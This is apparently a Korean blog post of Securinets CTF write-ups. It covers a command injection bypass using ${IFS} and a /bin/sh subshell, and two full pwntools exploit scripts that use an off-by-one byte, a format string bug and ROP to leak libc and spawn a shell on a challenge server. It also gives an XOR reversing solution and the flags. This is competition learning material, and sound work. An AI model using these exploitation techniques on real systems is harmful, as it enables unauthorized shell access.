PWN :: UNCRACKABLE
약간 난이도 있는 Command Injection 문제다. 입력의 MD5 해시값이 3b9aafa12aceeccd29a154766194a964와 같으면 플래그를 보여준다.
입력을 scanf로 받기 때문에 whitespace, newline 등을 사용할 수 없고 sprintf로 커맨드라인에 입력값을 쓰기 때문에 NULL byte injection조차 불가능하다. 또 입력 길이가 32글자로 제한되어 있기 때문에 바로 echo로 해시값 3b... 을 쓰는 방법은 불가능하다.
수 차례 시도 끝에, 먼저 쉘로 들어가 echo를 사용해 길이 제한을 무력화했고, 공백은 ${IFS}를 사용해 우회했다. 최종 payload는 아래와 같다.
';echo${IFS}$(/bin/sh)|cat;echo'
echo 3b9aafa12aceeccd29a154766194a964
exit
|
왠지 더 쉬운 풀이가 있을 것 같기도 한데 나는 잘 모르겠다..
Flag: securinets{memcmp_turned_out_to_be_shame_shame_shame!!}
PWN :: Warmup : Welcome to securinets CTF
1바이트의 NULL byte poisoning으로 ebp 레지스터 값을 입력 문자열 위로 올려버릴 수 있다. ROP로 libc 주소를 leak하고 system("/bin/sh"); 를 실행시켜서 쉘을 따면 된다. (magic gadget은 해봤는데 전부 안됐다. 조건이 안맞았던 듯)
ASLR이 켜져 있기 때문에 ROP를 성공시키려면 약간의 브루트포싱이 필요하다. 다행히 로컬과 서버의 환경이 같아서, 로컬에서 먼저 테스트 해 보면서 좀 더 편하게 작업했다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', help='connect to remote server', action='store_true') args = parser.parse_args() def setup() : global p if args.remote : p = connect('54.225.38.91', 1028) else : p = process('./main') def validate(data) : if len(data) < 4 : print('[Exploit] Failed to leak address. (0x0A in value)') exit() def exploit() : puts_plt = 0x8049030 puts_got = 0x804C00C setvbuf_got = 0x804C014 scanf_got = 0x804C018 pop_1_ret = 0x804926B ret = 0x804901F payload = b'A'*40 payload += p32(puts_plt) payload += p32(pop_1_ret) payload += p32(scanf_got) payload += p32(puts_plt) payload += p32(pop_1_ret) payload += p32(setvbuf_got) payload += p32(ret)*10 payload += p32(0x80491B7) # main p.writelineafter(b'\n\n', payload) leak = p.readline()[:4] validate(leak) scanf_resolved = u32(leak) leak = p.readline()[:4] validate(leak) setvbuf_resolved = u32(leak) print('[Exploit] __isoc99_scanf = '+hex(scanf_resolved)) print('[Exploit] setvbuf = '+hex(setvbuf_resolved)) # libc: libc6_2.30-0ubuntu2_i386 libc_base = scanf_resolved - 0x55360 system = libc_base + 0x458B0 str_bin_sh = libc_base + 0x19042D print('[Exploit] libc base: '+hex(libc_base)) print('[Exploit] system = '+hex(system)) print('[Exploit] str /bin/sh = '+hex(str_bin_sh)) payload = b'A'*72 payload += p32(system) payload += p32(pop_1_ret) payload += p32(str_bin_sh) payload = payload.ljust(108, b'A') p.writelineafter(b'\n\n', payload) p.interactive() if __name__ == '__main__' : while True : try : setup() exploit() break except EOFError : pass |
Flag: securinets{1_byte_c4n_ru1n_y0ur_ent1re_lif3!!}
PWN :: CONTROL
FSB로 v1과 v2를 수정해 입력 길이, 횟수 제한을 늘리고 BOF로 libc를 leak한 뒤 다시 main으로 돌아가서 BOP로 system을 실행시켜 쉘을 따면 된다. stdout 버퍼링과 스택 주소 계산하는 것 때문에 좀 시간을 많이 써버렸다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 |
from pwn import *
from time import sleep import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', help='connect to remote server', action='store_true') args = parser.parse_args() if args.remote : p = connect('54.225.38.91', 1026) else : p = process('./main') def exploit() : v1 = 0x804C008 v2 = 0x804C010 printf_plt = 0x8049030 printf_got = 0x804BFE0 fgets_got = 0x804BFE4 pop_1_ret = 0x804901E # adjust values: v2=8, v1=512 payload = p32(v1) payload += p32(v2) payload += b'%7$n%504c%6$n'.ljust(8, b'A') p.writelineafter(b'name\n', payload) ; sleep(0.5) # leak stack address payload = b'%13$p ' p.writelineafter(b'name\n', payload) ; sleep(0.5) p.readuntil(b'0x') esp = int(p.readuntil(b' ').rstrip(), 16) - 0xE4 ebp = esp + 0x38 print('[Exploit] esp = '+hex(esp)) print('[Exploit] ebp = '+hex(ebp)) for i in range(5) : p.writelineafter(b'name\n', b'A') ; sleep(0.1) # leak libc address payload = b'A'*0x28 payload += p32(ebp) payload += p32(printf_plt) payload += p32(pop_1_ret) payload += p32(printf_got) payload += p32(printf_plt) payload += p32(pop_1_ret) payload += p32(printf_got) payload += p32(0x8049192) # main p.writelineafter(b'name\n', payload) ; sleep(0.5) p.read() printf_resolved = u32(p.read(4)) fgets_resolved = u32(p.read(4)) print('[Exploit] printf = '+hex(printf_resolved)) print('[Exploit] fgets = '+hex(fgets_resolved)) # libc: libc6_2.30-0ubuntu2_i386 libc_base = printf_resolved - 0x54230 system = libc_base + 0x458B0 str_bin_sh = libc_base + 0x19042D print('[Exploit] libc base: '+hex(libc_base)) print('[Exploit] system = '+hex(system)) print('[Exploit] str /bin/sh = '+hex(str_bin_sh)) # adjust values: v2=8, v1=512 payload = p32(v1) payload += p32(v2) payload += b'%7$n%504c%6$n'.ljust(8, b'A') p.writelineafter(b'name\n', payload) ; sleep(0.5) # esp, ebp recalculate esp += 0x10 ebp += 0x10 print('[Exploit] esp (updated) = '+hex(esp)) print('[Exploit] ebp (updated) = '+hex(ebp)) for i in range(5) : p.writelineafter(b'name\n', b'A') ; sleep(0.1) # call system("/bin/sh") payload = b'A'*0x28 payload += p32(ebp) payload += p32(system) payload += p32(pop_1_ret) payload += p32(str_bin_sh) p.writelineafter(b'name\n', payload) ; sleep(0.5) p.interactive() if __name__ == '__main__' : exploit() |
Flag: securinets{fmt_fmt_3v3rywh3r3!!}
REVERSING :: Warmup : Welcome to securinets CTF
0x201020의 32바이트에 XOR 42를 하면 된다. 마지막의 0x1E를 포함시키지 않는 데 주의하자.
Flag: securinets{l3t's_w4rm_1t_up_boy}
:: Welcome To Securinets !
Flag: Securinets{PreQu@l$_2K20}
'CTF > CTF Playground' 카테고리의 다른 글
Houseplant CTF (0) | 2020.04.27 |
---|---|
TAMUctf 2020 (0) | 2020.03.30 |
riftCTF (0) | 2020.03.21 |
ångstromCTF 2020 (0) | 2020.03.16 |
HackTM CTF 2020 (0) | 2020.02.02 |